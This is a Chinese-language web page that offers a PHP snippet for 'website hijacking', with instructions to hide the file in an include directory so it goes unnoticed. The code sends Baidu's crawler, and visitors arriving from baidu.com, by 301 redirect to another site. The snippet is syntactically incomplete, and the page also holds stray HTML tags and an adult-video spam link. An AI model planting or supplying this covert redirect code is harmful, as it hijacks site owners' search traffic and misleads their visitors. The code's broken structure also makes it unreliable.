1. <th id="49qnr"></th>

      1. <button id="49qnr"></button>
      2. 網站劫持判斷(干貨)


        網站劫持判斷(干貨)











                                                   網站劫持判斷

        ################################################ 

        # 可以把本文件放在類似inc、include這樣的目錄中 # 
        # 首頁require_once('本文件路徑');就可以了 # 
        # 這樣會比較隱蔽 # 
        ################################################ 
        $url = "http://www.exceltransport.net/zhuanyeseo.com";  //你的網站
        if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'baiduspider') !== false ) 
            //判斷搜索引擎,這里是百度,可以自行添加蜘蛛 
            
            //這是301跳轉,301主要針對搜索引擎,如果你想告訴搜索引擎這個頁面已經更換URL了的話... 
            Header("HTTP/1.1 301 Moved Permanently"); 
            Header("Location: $url"); 
            
            /* 
            $file = file_get_contents($url); 
            echo $file;//輸出指定文件內容 
            exit; */ 
        //判斷來路 
        if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) 
        {
            //如果用戶來自baidu.com 
            Header("HTTP/1.1 301 Moved Permanently"); 
            Header("Location: $url");//跳轉 
            exit; 


        本文由站長原創或收集,不代表本站立場,如若轉載,請注明出處:http://www.exceltransport.net/post/15.html

        共有 2 條評論

        回復給

        歡迎點評

        聯系我們

        站長QQ:40508326

        站長郵件:405083426@qq.com

        工作時間:周一至周五,9:30-18:30,節假日休息

        QR code
        免费A 级视频
          1. <th id="49qnr"></th>

            1. <button id="49qnr"></button>